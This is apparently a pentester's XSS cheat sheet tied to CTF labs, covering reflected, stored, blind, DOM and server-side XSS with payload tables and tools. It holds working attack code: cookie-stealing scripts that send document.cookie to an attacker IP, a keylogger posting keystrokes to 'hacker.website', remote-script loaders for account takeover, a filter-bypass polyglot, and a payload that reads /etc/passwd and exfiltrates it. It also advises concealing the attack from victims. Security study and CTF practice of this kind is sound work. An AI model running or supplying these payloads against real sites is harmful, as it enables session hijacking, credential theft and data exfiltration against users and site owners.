Cross-site Scripting (XSS)

xss_filter_evasion dom_based_xss_prevention introductiontowebapplications cross_site_scripting xss_injection xssgi xss howwebsiteswork adventofcyber2 marketplace xss_stored_1 xss_reflected xss_dom_based_introduction xss_dom_based_filters_bypass xss_server_side xss_stored_filter_bypass xss_dom_based xss xss_reflected xss_stored xss_brackets_bypass xss_href xss_js_string xss_document_write xss_innerhtml xss_jquery_href xss_svg_tag

Cross-site Scripting, most commonly called XSS, refers to injecting malicious JavaScript in a web application for it to be executed by other users. For instance, instead of a username, you could use:

<script>alert('XSS')</script>

And, if the website isn't protected, then anyone consulting your profile will run the script alert('XSS') and will see an alert.

⚠️ When using XSS, you want to hide that you executed some XSS in someone's browser. So, you should ensure that no one sees anything suspicious. For instance, add a valid value before the XSS payload.

πŸ’‘ XSS may be called HTML Injection when using an HTML payload.

Common attack vectors

  • πŸ“š Headers (mostly User-Agent)
  • πŸ“„ Forms (Logic flaw: not protecting dropdowns)
  • πŸͺ Cookies

Common mitigations to XSS attacks are:

  • πŸ›‘ Content-Security-Policy (CSP) header + secure cookies
  • πŸ›‘οΈ Input sanitization (htmlentities/addslashes in PHP)
  • πŸ”Ž Input filtering (strip_tags in PHP)
  • πŸ”₯ Web Application Firewall (WAF)

XSS Attacks

cross_site_scripting xssgi xss

Reflected XSS

xss_reflected xss_reflected xss_brackets_bypass xss_href xss_svg_tag

XSS is reflected when the injected payload is shown on the vulnerable webpage after being rendered by the web server.

πŸ—ΊοΈ The payload is usually inside the URL. For instance, given the URL: https://example.com/vuln.php?q=payload that render payload when loaded. We could exploit it using:

https://example.com/vuln.php/?q=%3Cscript%3Ealert(%27XSS%27)%3B%3C%2Fscript%3E

🍷 Users clicking on the link will execute our payload.


Stored XSS

marketplace xss_stored_1 xss_stored_2 xss_server_side xss_stored_filter_bypass xss_stored

The payload is injected and stored on the server, mostly in a database. At some point, it may be executed by a vulnerable web page.

πŸ—ΊοΈ Comments, profiles, listings... may be vulnerable.

🍷 For instance, assuming we use the username <script>alert('XSS');</script>, if the profile page is vulnerable, this code will be executed when the server renders our username.

Blind XSS

XSS is said to be blind or out-band when we are sending a payload without prior knowledge of where it will be executed.

πŸ—ΊοΈ Feedback, contact, or support forms. We are targeting the administrators by testing if a contact chanel is vulnerable to any XSS.

🍷 For instance, we include images in each parameter such as <img src="IP:PORT/username"> for username. If we receive a request to /xxx on our grabber, then the payload worked for parameter xxx. Otherwise, we try another payload.

Refer to HTTP Requests Grabber to catch the response during CTFs.


DOM-based XSS

introductiontowebapplications xss_dom_based_introduction xss_dom_based_filters_bypass xss_dom_based xss_dom_based_eval xss_dom_based_angularjs xss_document_write xss_js_string xss_innerhtml xss_jquery_href

DOM-based XSS occur without the server being aware of them. The client-side JavaScript is the one rendering the payload. For instance, when we use xxx.innerHTML or document.write (referred to as "a sinker").

πŸ—ΊοΈ Mostly, javascript-based applications.

🍷 If an application is parsing the anchor URL#xxx and displaying it a message, it may be exploited with JavaScript events functions as most sinkers don't allow the script tag.


XSS Payloads Quick Reference

cross_site_scripting xssgi xss

CaseHTMLPayload
PoC<p>here</p>

<script>alert('XSS')</script>
<script>print()</script>
<plaintext> (avoid it, breaking the page)
<script>fetch('TARGET/fetch1');</script>
<script>new Image().src = "TARGET/script_img";</script>
<script>document.location="TARGET/location";</script>

Boxed attribute

<input value="here">
<img src="here" alt="xxx"/>

">ReferToPOC
TARGET/img" onload="alert(1)
" onerror="document.location='TARGET/locationIMG'
" onerror="document.getElementById('autosubmit').submit()
" autofocus onfocus="alert(1)
" autofocus onfocus=alert(1);alert(2) x="

Unboxed attribute<input value=here>Refer to Boxed attribute without the quote.
Wrapped<textarea>here</textarea></textarea>ReferToPOC
JavaScript

let xxx = 'here';
yyy.innerHTML = 'here'; (can use HTML too)

';alert(1);//
''-alert(1)-''
''+alert(1)+''
''&alert(1)&''
See also: JavaScript eval function.


HTML Tags/Attributes For XSS

PortSwigger has an awesome list of HTML tags and HTML attributes allowing you to easily find XSS payloads.

  1. FUZZ and find allowed tags
  2. Select a tag in the list that you can use
  3. Either test a few payloads, or FUZZ again

You may also use xss-payload-list (6.3k ⭐). Below are some of my favorites. They may not require user interaction (e.g. auto), optionally according to the target (e.g. auto|manual), or always (e.g. manual).

  • Tags: a#href, iframe#src, object#data, embed#src
<a href="javascript:alert(1)">x</a>      <!-- auto -->
  • Tags: DETAILS
<details open ontoggle=alert(1)></details> <!-- auto -->
  • Tags: *
<a id=x tabindex=1 onfocus=alert(1)></a> <!-- auto|manual -->
  • Tags: INPUT, SELECT, BUTTON, KEYGEN, etc.
<input autofocus onfocus="alert(1)">     <!-- auto -->
  • Tags: IMG, LINK, INPUT, BODY, SOURCE, etc.
<img src=1 onerror="alert(1)">           <!-- auto -->
  • Others
<svg onload=alert(1)>
<svg><animatetransform onbegin=alert(1)>

XSS 'malicious code'

xssgi xss

Common "malicious code" used in PoC payloads are

  • alert(...): show an alert with a message
  • console.log(...): print a message in the console

Real examples of malicious code can be found at XSS-payloads (πŸ’₯?).

Fingerprint

session_security

We sometimes need to check a few things:

  • document.domain: current domain name
  • window.location: current URL
  • window.origin: when inside a IFRAME

Session hijacking/Cookie Stealing

cross_site_scripting session_security marketplace xss_stored_1 xss_dom_based_introduction xss_dom_based_filters_bypass csp_bypass_nonce xss_reflected xss_stored_filter_bypass xss_dom_based

Anyone executing this script will send their cookie to a malicious website owned by the hacker used to capture cookies. The script is using btoa() to encode in base64 the values. Sessions cookies are gold πŸ’°, because with them, we can bypass verifications such as 2FA and access someone else account of insecure webservers.

<script>fetch('http://IP:port/?cookie=' + btoa(document.cookie));</script>
<script>fetch('http://IP:port', { method: 'POST', mode: 'no-cors', credentials: 'include', body: btoa(document.cookie) });</script>
<script>new Image().src = "http://IP:port/?cookie="+btoa(document.cookie);</script>
<script>let imageElement = document.createElement("img"); imageElement.src = "http://IP:port/?cookie="+btoa(document.cookie); document.body.appendChild(imageElement)</script>
<script>document.location="http://IP:port/?cookie="+document.cookie;</script>

Refer to HTTP Requests Grabber to catch the response during CTFs.

πŸ“š Refer to CSRF for attacks using a form.

Account takeover

It's common for a XSS to target an administrator. If the cookies are secure enough (expiry, httpOnly, secure, sameSite), we may try to create an account with more privileges, elevate our privileges, or steal a token.

While the code is specific to the website, we often want to load an external script which can be a hassle from a javascript event.

<dummy onevent="document.write`<script src=//example.com>`"></dummy>
<dummy onevent="appendChild(createElement`script`).src='//example.com/x.js'"></dummy>
<dummy onevent="document.body.appendChild(document.createElement`script`).src='//example.com/x.js'"></dummy>
<dummy onevent="s=document.createElement('script');s.src='//example.com/x.js';document.body.appendChild(s);"></dummy>
<dummy onevent="(s=>document.body.appendChild(s))(document.createElement('script')).src='//example.com/x.js'"></dummy>
<dummy onevent="document.appendChild(Object.assign(document.createElement('script'),{src:'//example.com/x.js'}));"></dummy>

Keylogger

Sends keys pressed to the hacker website. The script is using btoa() to encode in base64 the values.

<script>
    let keys = ''
    document.onkeydown = e => keys += e.key
    setInterval(() => {
        if (keys === '') return
        fetch('https://hacker.website/keylogger?key=' + btoa(keys) )
        keys = ''
    }, 1000)
</script>

Other Attacks

  • Defacing websites
  • Injecting a login form to access the original website

XSS bypasses

XSS Filtering Bypass

This section was moved to HTML Payloads and JavaScript payloads.


XSS Polygots Filtering Bypass

xssgi xss

Polygot are complex payloads designed to bypass many filter:

jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */onerror=alert('XSS') )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert('XSS')//>\x3e

XSS Relative Path Override (RPO)

xss_reflected

Usually, a URL such as http://example.com/a/../toto is processed and replaced with http://example.com/toto before it is used.

We can use a mix of URL encoding and not encoded characters to create a URL that is not shortened but still point to a relative folder.

-https://example.com/../toto/index.php
+https://example.com/..%2Ftoto/index.php

This can be used to trick checks like "URL starts with".


XSS Tools βš’οΈ

XSStrike

XSStrike (13.3k ⭐, 2022 ☠️) is a popular XSS tool that is still working as of 2024 while it's not maintained.

$ cd /opt
$ sudo git clone https://github.com/s0md3v/XSStrike.git
$ sudo chmod +x XSStrike/xsstrike.py
$ sudo ln -s /opt/XSStrike/xsstrike.py /usr/local/bin/xsstrike
$ xsstrike -u 'URL?param=vuln'

The tool will process the URL and the parameter to see if any are vulnerable. Press 'Enter' until you find one that works. Carefully read the payload when testing, e.g. 'mouse over,' or stuff like that.

Other tools

There are a lot of them, but they are all abandoned. If seems using web scanners such as Burp, Zaproxy, or Nessus is more common.


Server-Side XSS

server_side_xss_dynamic_pdf modern_web_exploitation_techniques md2pdf surfer xss_server_side

If a website is creating a PDF using user-input, such as using wkhtmltopdf, we may be able to execute JavaScript code.

<script>document.write('poc')</script>
<img src="http://IP:port/img"/>
<iframe src="http://IP:port/iframe"></iframe>
<object data="http://IP:port/object">
<embed src="http://IP:port/embed" width="500" height="500">
<meta http-equiv="refresh" content="0;url=http://IP:port/meta" />

You can learn more about your environment using:

<script>document.write(window.location)</script>
<script>document.write(typeof fetch)</script> // undefined
<script>document.write(typeof XMLHttpRequest)</script> // object

πŸ“š Tools such as exiftool may expose the tool that created the PDF.

Technically, request to another server are categorized as SSRF attacks. Some tools/configuration may prevent us from using file:// or external URLs. Refer to HTTP Requests Grabber to catch responses.

  • We can use it to read files such as /etc/passwd:
<script>xhzeem=new XMLHttpRequest();xhzeem.onload=function(){document.write(this.responseText)};xhzeem.onerror=function(){document.write('failed!')};xhzeem.open("GET","file:///etc/passwd");xhzeem.send();</script>
  • For Blind Server-Side XSS, we can use:
<script>xhzeem=new XMLHttpRequest();xhzeem.onload=function(){xhzxfil=new XMLHttpRequest();xhzxfil.open("GET",'http://IP:port/?data='+btoa(this.response),true);xhzxfil.send()};xhzeem.open("GET","file:///etc/passwd",true);xhzeem.send();</script> ;

DOM Clobbering

dom_clobbering dom_clobbering dom_clobbering

DOM element can have an attribute called id to easily locate them. There are multiple behaviors around them that can be used to exploit vulnerable javascript code.

<a id=someProperty name=url href=//example.com></a>
console.log(someProperty);        // equals to "//example.com"
console.log(window.someProperty); // same as 'someProperty'

We are able to define attributes by nesting tags:

<!-- someForm.nodeName is equals to "<input ...>" -->
<form id=someForm><input name=nodeName></form>

In chrome-based browsers, having multiple IDs is possible.

<a id=someObject>
<a id=someObject name=url href=//example.com>
console.log(someProperty);     // an array with indexes
console.log(someProperty.url); // equals to "//example.com"

πŸ“š See also: Dom Clobbering Project (0.05k ⭐).


πŸ‘» To-do πŸ‘»

Stuff that I found, but never read/used yet.

Remediation:

-echo $variable;
-echo htmlspecialchars($variable);
+echo htmlspecialchars($variable, ENT_QUOTES, 'UTF-8');